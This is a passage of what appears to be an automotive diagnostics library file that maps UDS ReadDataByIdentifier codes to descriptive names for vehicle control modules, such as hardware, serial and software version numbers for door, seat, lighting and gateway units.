UDS_RDBI.dataIdentifiers[0x06c9] = "Traffic_data_aerial_Hardware_Number" UDS_RDBI.dataIdentifiers[0x06ca] = "Chip_card_reader_control_module_Hardware_Number" UDS_RDBI.dataIdentifiers[0x06cb] = "Hands_free_system_Hardware_Number" UDS_RDBI.dataIdentifiers[0x06cc] = "Telephone_handset_Hardware_Number" UDS_RDBI.dataIdentifiers[0x06cd] = "Display_unit_front_for_multimedia_system_Hardware_Number" UDS_RDBI.dataIdentifiers[0x06ce] = "Multimedia_operating_unit_Hardware_Number" UDS_RDBI.dataIdentifiers[0x06cf] = "Digital_sound_system_control_module_2_Hardware_Number" UDS_RDBI.dataIdentifiers[0x06d0] = "Control_unit_for_wiper_motor_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x06d1] = "Rain_light_recognition_sensor_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x06d2] = "Light_switch_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x06d3] = "Garage_door_opener_control_module_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x06d4] = "Garage_door_opener_operating_unit_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x06d5] = "Ignition_key_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x06d6] = "Left_front_seat_ventilation_control_module_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x06d7] = "Right_front_seat_ventilation_control_module_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x06d8] = "Left_rear_seat_ventilation_control_module_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x06d9] = "Right_rear_seat_ventilation_control_module_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x06da] = "Data_medium_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x06db] = "Drivers_door_control_module_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x06dc] = "Front_passengers_door_control_module_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x06dd] = "Left_headlamp_power_output_stage_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x06de] = "Right_headlamp_power_output_stage_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x06df] = "Sensor_for_anti_theft_alarm_system_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x06e0] = "Rear_lid_control_module_2_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x06e1] = "Alarm_horn_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x06e2] = "Automatic_day_night_interior_mirror_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x06e3] = "Sun_roof_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x06e4] = "Steering_column_lock_actuator_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x06e5] = "Anti_theft_tilt_system_control_unit_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x06e6] = "Tire_pressure_monitor_antenna_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x06e7] = "Heated_windshield_control_module_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x06e8] = "Rear_light_left_1_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x06e9] = "Ceiling_light_module_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x06ea] = "Left_front_massage_seat_control_module_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x06eb] = "Right_front_massage_seat_control_module_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x06ec] = "Control_module_for_auxiliary_air_heater_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x06ed] = "Ioniser_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x06ee] = "Multi_function_steering_wheel_control_module_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x06ef] = "Left_rear_door_control_module_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x06f0] = "Right_rear_door_control_module_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x06f1] = "Left_rear_massage_seat_control_module_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x06f2] = "Right_rear_massage_seat_control_module_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x06f3] = "Display_unit_1_for_multimedia_system_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x06f4] = "Battery_monitoring_control_module_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x06f5] = "Roof_blind_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x06f6] = "Sun_roof_2_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x06f7] = "Display_unit_2_for_multimedia_system_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x06f8] = "Telephone_handset_2_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x06f9] = "Traffic_data_aerial_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x06fa] = "Chip_card_reader_control_module_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x06fb] = "Hands_free_system_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x06fc] = "Telephone_handset_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x06fd] = "Display_unit_front_for_multimedia_system_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x06fe] = "Multimedia_operating_unit_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x06ff] = "Digital_sound_system_control_module_2_Hardware_Version_Number" UDS_RDBI.dataIdentifiers[0x0700] = "Control_unit_for_wiper_motor_Serial_Number" UDS_RDBI.dataIdentifiers[0x0701] = "Rain_light_recognition_sensor_Serial_Number" UDS_RDBI.dataIdentifiers[0x0702] = "Light_switch_Serial_Number" UDS_RDBI.dataIdentifiers[0x0703] = "Garage_door_opener_control_module_Serial_Number" UDS_RDBI.dataIdentifiers[0x0704] = "Garage_door_opener_operating_unit_Serial_Number" UDS_RDBI.dataIdentifiers[0x0705] = "Ignition_key_Serial_Number" UDS_RDBI.dataIdentifiers[0x0706] = "Left_front_seat_ventilation_control_module_Serial_Number" UDS_RDBI.dataIdentifiers[0x0707] = "Right_front_seat_ventilation_control_module_Serial_Number" UDS_RDBI.dataIdentifiers[0x0708] = "Left_rear_seat_ventilation_control_module_Serial_Number" UDS_RDBI.dataIdentifiers[0x0709] = "Right_rear_seat_ventilation_control_module_Serial_Number" UDS_RDBI.dataIdentifiers[0x070a] = "Data_medium_Serial_Number" UDS_RDBI.dataIdentifiers[0x070b] = "Drivers_door_control_module_Serial_Number" UDS_RDBI.dataIdentifiers[0x070c] = "Front_passengers_door_control_module_Serial_Number" UDS_RDBI.dataIdentifiers[0x070d] = "Left_headlamp_power_output_stage_Serial_Number" UDS_RDBI.dataIdentifiers[0x070e] = "Right_headlamp_power_output_stage_Serial_Number" UDS_RDBI.dataIdentifiers[0x070f] = "Sensor_for_anti_theft_alarm_system_Serial_Number" UDS_RDBI.dataIdentifiers[0x0710] = "Rear_lid_control_module_2_Serial_Number" UDS_RDBI.dataIdentifiers[0x0711] = "Alarm_horn_Serial_Number" UDS_RDBI.dataIdentifiers[0x0712] = "Automatic_day_night_interior_mirror_Serial_Number" UDS_RDBI.dataIdentifiers[0x0713] = "Sun_roof_Serial_Number" UDS_RDBI.dataIdentifiers[0x0714] = "Steering_column_lock_actuator_Serial_Number" UDS_RDBI.dataIdentifiers[0x0715] = "Anti_theft_tilt_system_control_unit_Serial_Number" UDS_RDBI.dataIdentifiers[0x0716] = "Tire_pressure_monitor_antenna_Serial_Number" UDS_RDBI.dataIdentifiers[0x0717] = "Heated_windshield_control_module_Serial_Number" UDS_RDBI.dataIdentifiers[0x0718] = "Rear_light_left_1_Serial_Number" UDS_RDBI.dataIdentifiers[0x0719] = "Ceiling_light_module_Serial_Number" UDS_RDBI.dataIdentifiers[0x071a] = "Left_front_massage_seat_control_module_Serial_Number" UDS_RDBI.dataIdentifiers[0x071b] = "Right_front_massage_seat_control_module_Serial_Number" UDS_RDBI.dataIdentifiers[0x071c] = "Control_module_for_auxiliary_air_heater_Serial_Number" UDS_RDBI.dataIdentifiers[0x071d] = "Ioniser_Serial_Number" UDS_RDBI.dataIdentifiers[0x071e] = "Multi_function_steering_wheel_control_module_Serial_Number" UDS_RDBI.dataIdentifiers[0x071f] = "Left_rear_door_control_module_Serial_Number" UDS_RDBI.dataIdentifiers[0x0720] = "Right_rear_door_control_module_Serial_Number" UDS_RDBI.dataIdentifiers[0x0721] = "Left_rear_massage_seat_control_module_Serial_Number" UDS_RDBI.dataIdentifiers[0x0722] = "Right_rear_massage_seat_control_module_Serial_Number" UDS_RDBI.dataIdentifiers[0x0723] = "Display_unit_1_for_multimedia_system_Serial_Number" UDS_RDBI.dataIdentifiers[0x0724] = "Battery_monitoring_control_module_Serial_Number" UDS_RDBI.dataIdentifiers[0x0725] = "Roof_blind_Serial_Number" UDS_RDBI.dataIdentifiers[0x0726] = "Sun_roof_2_Serial_Number" UDS_RDBI.dataIdentifiers[0x0727] = "Display_unit_2_for_multimedia_system_Serial_Number" UDS_RDBI.dataIdentifiers[0x0728] = "Telephone_handset_2_Serial_Number" UDS_RDBI.dataIdentifiers[0x0729] = "Traffic_data_aerial_Serial_Number" UDS_RDBI.dataIdentifiers[0x072a] = "Chip_card_reader_control_module_Serial_Number" UDS_RDBI.dataIdentifiers[0x072b] = "Hands_free_system_Serial_Number" UDS_RDBI.dataIdentifiers[0x072c] = "Telephone_handset_Serial_Number" UDS_RDBI.dataIdentifiers[0x072d] = "Display_unit_front_for_multimedia_system_Serial_Number" UDS_RDBI.dataIdentifiers[0x072e] = "Multimedia_operating_unit_Serial_Number" UDS_RDBI.dataIdentifiers[0x072f] = "Digital_sound_system_control_module_2_Serial_Number" UDS_RDBI.dataIdentifiers[0x0730] = "Control_unit_for_wiper_motor_System_Name" UDS_RDBI.dataIdentifiers[0x0731] = "Rain_light_recognition_sensor_System_Name" UDS_RDBI.dataIdentifiers[0x0732] = "Light_switch_System_Name" UDS_RDBI.dataIdentifiers[0x0733] = "Garage_door_opener_control_module_System_Name" UDS_RDBI.dataIdentifiers[0x0734] = "Garage_door_opener_operating_unit_System_Name" UDS_RDBI.dataIdentifiers[0x0735] = "Ignition_key_System_Name" UDS_RDBI.dataIdentifiers[0x0736] = "Left_front_seat_ventilation_control_module_System_Name" UDS_RDBI.dataIdentifiers[0x0737] = "Right_front_seat_ventilation_control_module_System_Name" UDS_RDBI.dataIdentifiers[0x0738] = "Left_rear_seat_ventilation_control_module_System_Name" UDS_RDBI.dataIdentifiers[0x0739] = "Right_rear_seat_ventilation_control_module_System_Name" UDS_RDBI.dataIdentifiers[0x073a] = "Data_medium_System_Name" UDS_RDBI.dataIdentifiers[0x073b] = "Drivers_door_control_module_System_Name" UDS_RDBI.dataIdentifiers[0x073c] = "Front_passengers_door_control_module_System_Name" UDS_RDBI.dataIdentifiers[0x073d] = "Left_headlamp_power_output_stage_System_Name" UDS_RDBI.dataIdentifiers[0x073e] = "Right_headlamp_power_output_stage_System_Name" UDS_RDBI.dataIdentifiers[0x073f] = "Sensor_for_anti_theft_alarm_system_System_Name" UDS_RDBI.dataIdentifiers[0x0740] = "Rear_lid_control_module_2_System_Name" UDS_RDBI.dataIdentifiers[0x0741] = "Alarm_horn_System_Name" UDS_RDBI.dataIdentifiers[0x0742] = "Automatic_day_night_interior_mirror_System_Name" UDS_RDBI.dataIdentifiers[0x0743] = "Sun_roof_System_Name" UDS_RDBI.dataIdentifiers[0x0744] = "Steering_column_lock_actuator_System_Name" UDS_RDBI.dataIdentifiers[0x0745] = "Anti_theft_tilt_system_control_unit_System_Name" UDS_RDBI.dataIdentifiers[0x0746] = "Tire_pressure_monitor_antenna_System_Name" UDS_RDBI.dataIdentifiers[0x0747] = "Heated_windshield_control_module_System_Name" UDS_RDBI.dataIdentifiers[0x0748] = "Rear_light_left_1_System_Name" UDS_RDBI.dataIdentifiers[0x0749] = "Ceiling_light_module_System_Name" UDS_RDBI.dataIdentifiers[0x074a] = "Left_front_massage_seat_control_module_System_Name" UDS_RDBI.dataIdentifiers[0x074b] = "Right_front_massage_seat_control_module_System_Name" UDS_RDBI.dataIdentifiers[0x074c] = "Control_module_for_auxiliary_air_heater_System_Name" UDS_RDBI.dataIdentifiers[0x074d] = "Ioniser_System_Name" UDS_RDBI.dataIdentifiers[0x074e] = "Multi_function_steering_wheel_control_module_System_Name" UDS_RDBI.dataIdentifiers[0x074f] = "Left_rear_door_control_module_System_Name" UDS_RDBI.dataIdentifiers[0x0750] = "Right_rear_door_control_module_System_Name" UDS_RDBI.dataIdentifiers[0x0751] = "Left_rear_massage_seat_control_module_System_Name" UDS_RDBI.dataIdentifiers[0x0752] = "Right_rear_massage_seat_control_module_System_Name" UDS_RDBI.dataIdentifiers[0x0753] = "Display_unit_1_for_multimedia_system_System_Name" UDS_RDBI.dataIdentifiers[0x0754] = "Battery_monitoring_control_module_System_Name" UDS_RDBI.dataIdentifiers[0x0755] = "Roof_blind_System_Name" UDS_RDBI.dataIdentifiers[0x0756] = "Sun_roof_2_System_Name" UDS_RDBI.dataIdentifiers[0x0757] = "Display_unit_2_for_multimedia_system_System_Name" UDS_RDBI.dataIdentifiers[0x0758] = "Telephone_handset_2_System_Name" UDS_RDBI.dataIdentifiers[0x0759] = "Traffic_data_aerial_System_Name" UDS_RDBI.dataIdentifiers[0x075a] = "Chip_card_reader_control_module_System_Name" UDS_RDBI.dataIdentifiers[0x075b] = "Hands_free_system_System_Name" UDS_RDBI.dataIdentifiers[0x075c] = "Telephone_handset_System_Name" UDS_RDBI.dataIdentifiers[0x075d] = "Display_unit_front_for_multimedia_system_System_Name" UDS_RDBI.dataIdentifiers[0x075e] = "Multimedia_operating_unit_System_Name" UDS_RDBI.dataIdentifiers[0x075f] = "Digital_sound_system_control_module_2_System_Name" UDS_RDBI.dataIdentifiers[0x07a0] = "Control_unit_for_wiper_motor_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x07a1] = "Rain_light_recognition_sensor_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x07a2] = "Light_switch_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x07a3] = "Garage_door_opener_control_module_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x07a4] = "Garage_door_opener_operating_unit_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x07a5] = "Ignition_key_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x07a6] = "Left_front_seat_ventilation_control_module_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x07a7] = "Right_front_seat_ventilation_control_module_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x07a8] = "Left_rear_seat_ventilation_control_module_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x07a9] = "Right_rear_seat_ventilation_control_module_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x07aa] = "Data_medium_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x07ab] = "Drivers_door_control_module_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x07ac] = "Front_passengers_door_control_module_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x07ad] = "Left_headlamp_power_output_stage_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x07ae] = "Right_headlamp_power_output_stage_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x07af] = "Sensor_for_anti_theft_alarm_system_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x07b0] = "Rear_lid_control_module_2_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x07b1] = "Alarm_horn_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x07b2] = "Automatic_day_night_interior_mirror_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x07b3] = "Sun_roof_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x07b4] = "Steering_column_lock_actuator_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x07b5] = "Anti_theft_tilt_system_control_unit_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x07b6] = "Tire_pressure_monitor_antenna_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x07b7] = "Heated_windshield_control_module_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x07b8] = "Rear_light_left_1_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x07b9] = "Ceiling_light_module_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x07ba] = "Left_front_massage_seat_control_module_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x07bb] = "Right_front_massage_seat_control_module_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x07bc] = "Control_module_for_auxiliary_air_heater_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x07bd] = "Ioniser_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x07be] = "Multi_function_steering_wheel_control_module_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x07bf] = "Left_rear_door_control_module_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x07c0] = "Right_rear_door_control_module_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x07c1] = "Left_rear_massage_seat_control_module_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x07c2] = "Right_rear_massage_seat_control_module_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x07c3] = "Display_unit_1_for_multimedia_system_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x07c4] = "Battery_monitoring_control_module_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x07c5] = "Roof_blind_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x07c6] = "Sun_roof_2_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x07c7] = "Display_unit_2_for_multimedia_system_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x07c8] = "Telephone_handset_2_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x07c9] = "Traffic_data_aerial_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x07ca] = "Chip_card_reader_control_module_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x07cb] = "Hands_free_system_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x07cc] = "Telephone_handset_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x07cd] = "Display_unit_front_for_multimedia_system_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x07ce] = "Multimedia_operating_unit_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x07cf] = "Digital_sound_system_control_module_2_VW_Slave_FAZIT_string" UDS_RDBI.dataIdentifiers[0x0902] = "Activation of Development CAN-Messages" UDS_RDBI.dataIdentifiers[0x2a26] = "Gateway Component List present" UDS_RDBI.dataIdentifiers[0x2a27] = "Gateway_Component_List_Sleepindication" UDS_RDBI.dataIdentifiers[0x2a28] = "Gateway Component List dtc" UDS_RDBI.dataIdentifiers[0x2a29] = "Gateway Component List DiagProt" UDS_RDBI.dataIdentifiers[0x2a2d] = "Gateway_component_list_databus_identification" UDS_RDBI.dataIdentifiers[0x2ee0] = "Gateway_component_list_diag_path" UDS_RDBI.dataIdentifiers[0x2ee1] = "Gateway_component_list_ecu_authentication" UDS_RDBI.dataIdentifiers[0x3610] = "Electrically_adjustable_steering_column_Coding_Values" UDS_RDBI.dataIdentifiers[0x3611] = "Relative_humidity_sensor_in_fresh_air_intake_duct_Coding_Values" UDS_RDBI.dataIdentifiers[0x3612] = "Rear_spoiler_adjustment_Coding_Values" UDS_RDBI.dataIdentifiers[0x3613] = "Roof_blind_2_Coding_Values" UDS_RDBI.dataIdentifiers[0x3614] = "Motor_for_wind_deflector_Coding_Values" UDS_RDBI.dataIdentifiers[0x3615] = "Voltage_stabilizer_Coding_Values" UDS_RDBI.dataIdentifiers[0x3616] = "Switch_module_for_driver_seat_Coding_Values" UDS_RDBI.dataIdentifiers[0x3617] = "Switch_module_for_front_passenger_seat_Coding_Values" UDS_RDBI.dataIdentifiers[0x3618] = "Switch_module_for_rear_seat_driver_side_Coding_Values" UDS_RDBI.dataIdentifiers[0x3619] = "Switch_module_for_rear_seat_front_passenger_side_Coding_Values" UDS_RDBI.dataIdentifiers[0x361a] = "Switch_module_2_for_driver_seat_Coding_Values" UDS_RDBI.dataIdentifiers[0x361b] = "Switch_module_2_for_front_passenger_seat_Coding_Values" UDS_RDBI.dataIdentifiers[0x361c] = "Switch_module_2_for_rear_seat_front_passenger_side_Coding_Values" UDS_RDBI.dataIdentifiers[0x361d] = "Compact_disc_database_Coding_Values" UDS_RDBI.dataIdentifiers[0x3629] = "LED_headlamp_powermodule_2_left_Coding_Values" UDS_RDBI.dataIdentifiers[0x362a] = "LED_headlamp_powermodule_2_right_Coding_Values" UDS_RDBI.dataIdentifiers[0x362c] = "Multimedia_operating_unit_2_Coding_Values" UDS_RDBI.dataIdentifiers[0x362e] = "Data_medium_2_Coding_Values" UDS_RDBI.dataIdentifiers[0x362f] = "Analog_clock_Coding_Values" UDS_RDBI.dataIdentifiers[0x3630] = "Relative_Air_Humidity_Interior_Sender_Coding_Values" UDS_RDBI.dataIdentifiers[0x3631] = "Sensor_controlled_power_rear_lid_Coding_Values" UDS_RDBI.dataIdentifiers[0x3632] = "Battery_monitoring_control_module_2_Coding_Values" UDS_RDBI.dataIdentifiers[0x3633] = "Air_conditioning_compressor_Coding_Values" UDS_RDBI.dataIdentifiers[0x3634] = "Control_module_for_auxiliary_blower_motors_Coding_Values" UDS_RDBI.dataIdentifiers[0x3635] = "High_beam_powermodule_left_Coding_Values" UDS_RDBI.dataIdentifiers[0x3636] = "High_beam_powermodule_right_Coding_Values" UDS_RDBI.dataIdentifiers[0x3637] = "Coolant_heater_Coding_Values" UDS_RDBI.dataIdentifiers[0x3640] = "Electrically_adjustable_steering_column_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x3641] = "Relative_humidity_sensor_in_fresh_air_intake_duct_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x3642] = "Rear_spoiler_adjustment_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x3643] = "Roof_blind_2_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x3644] = "Motor_for_wind_deflector_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x3645] = "Voltage_stabilizer_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x3646] = "Switch_module_for_driver_seat_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x3647] = "Switch_module_for_front_passenger_seat_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x3648] = "Switch_module_for_rear_seat_driver_side_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x3649] = "Switch_module_for_rear_seat_front_passenger_side_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x364a] = "Switch_module_2_for_driver_seat_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x364b] = "Switch_module_2_for_front_passenger_seat_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x364c] = "Switch_module_2_for_rear_seat_front_passenger_side_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x364d] = "Compact_disc_database_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x3659] = "LED_headlamp_powermodule_2_left_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x365a] = "LED_headlamp_powermodule_2_right_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x365c] = "Multimedia_operating_unit_2_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x365e] = "Data_medium_2_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x365f] = "Analog_clock_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x3660] = "Relative_Air_Humidity_Interior_Sender_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x3661] = "Sensor_controlled_power_rear_lid_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x3662] = "Battery_monitoring_control_module_2_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x3663] = "Air_conditioning_compressor_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x3664] = "Control_module_for_auxiliary_blower_motors_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x3665] = "High_beam_powermodule_left_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x3666] = "High_beam_powermodule_right_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x3667] = "Coolant_heater_Spare_Part_Number" UDS_RDBI.dataIdentifiers[0x3670] = "Electrically_adjustable_steering_column_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x3671] = "Relative_humidity_sensor_in_fresh_air_intake_duct_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x3672] = "Rear_spoiler_adjustment_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x3673] = "Roof_blind_2_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x3674] = "Motor_for_wind_deflector_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x3675] = "Voltage_stabilizer_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x3676] = "Switch_module_for_driver_seat_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x3677] = "Switch_module_for_front_passenger_seat_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x3678] = "Switch_module_for_rear_seat_driver_side_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x3679] = "Switch_module_for_rear_seat_front_passenger_side_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x367a] = "Switch_module_2_for_driver_seat_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x367b] = "Switch_module_2_for_front_passenger_seat_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x367c] = "Switch_module_2_for_rear_seat_front_passenger_side_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x367d] = "Compact_disc_database_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x3689] = "LED_headlamp_powermodule_2_left_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x368a] = "LED_headlamp_powermodule_2_right_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x368c] = "Multimedia_operating_unit_2_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x368e] = "Data_medium_2_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x368f] = "Analog_clock_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x3690] = "Relative_Air_Humidity_Interior_Sender_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x3691] = "Sensor_controlled_power_rear_lid_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x3692] = "Battery_monitoring_control_module_2_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x3693] = "Air_conditioning_compressor_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x3694] = "Control_module_for_auxiliary_blower_motors_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x3695] = "High_beam_powermodule_left_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x3696] = "High_beam_powermodule_right_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x3697] = "Coolant_heater_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x36a0] = "Electrically_adjustable_steering_column_Hardware_Number" UDS_RDBI.dataIdentifiers[0x36a1] = "Relative_humidity_sensor_in_fresh_air_intake_duct_Hardware_Number" UDS_RDBI.dataIdentifiers[0x36a2] = "Rear_spoiler_adjustment_Hardware_Number" UDS_RDBI.dataIdentifiers[0x36a3] = "Roof_blind_2_Hardware_Number" UDS_RDBI.dataIdentifiers[0x36a4] = "Motor_for_wind_deflector_Hardware_Number" UDS_RDBI.dataIdentifiers[0x36a5] = "Voltage_stabilizer_Hardware_Number" UDS_RDBI.dataIdentifiers[0x36a6] = "Switch_module_for_driver_seat_Hardware_Number" UDS_RDBI.dataIdentifiers[0x36a7] = "Switch_module_for_front_passenger_seat_Hardware_Number" UDS_RDBI.dataIdentifiers[0x36a8] = "Switch_module_for_rear_seat_driver_side_Hardware_Number" UDS_RDBI.dataIdentifiers[0x36a9] = "Switch_module_for_rear_seat_front_passenger_side_Hardware_Number" UDS_RDBI.dataIdentifiers[0x36aa] = "Switch_module_2_for_driver_seat_Hardware_Number" UDS_RDBI.dataIdentifiers[0x36ab] = "Switch_module_2_for_front_passenger_seat_Hardware_Number" UDS_RDBI.dataIdentifiers[0x36ac] = "Switch_module_2_for_rear_seat_front_passenger_side_Hardware_Number" UDS_RDBI.dataIdentifiers[0x36ad] = "Compact_disc_database_Hardware_Number" UDS_RDBI.dataIdentifiers[0x36b9] = "LED_headlamp_powermodule_2_left_Hardware_Number" UDS_RDBI.dataIdentifiers[0x36ba] = "LED_headlamp_powermodule_2_right_Hardware_Number" UDS_RDBI.dataIdentifiers[0x36bc] = "Multimedia_operating_unit_2_Hardware_Number" UDS_RDBI.dataIdentifiers[0x36be] = "Data_medium_2_Hardware_Number" UDS_RDBI.dataIdentifiers[0x36bf] = "Analog_clock_Hardware_Number" UDS_RDBI.dataIdentifiers[0x36c0] = "Relative_Air_Humidity_Interior_Sender_Hardware_Number" UDS_RDBI.dataIdentifiers[0x36c1] = "Sensor_controlled_power_rear_lid_Hardware_Number" UDS_RDBI.dataIdentifiers[0x36c2] = "Battery_monitoring_control_module_2_Hardware_Number" 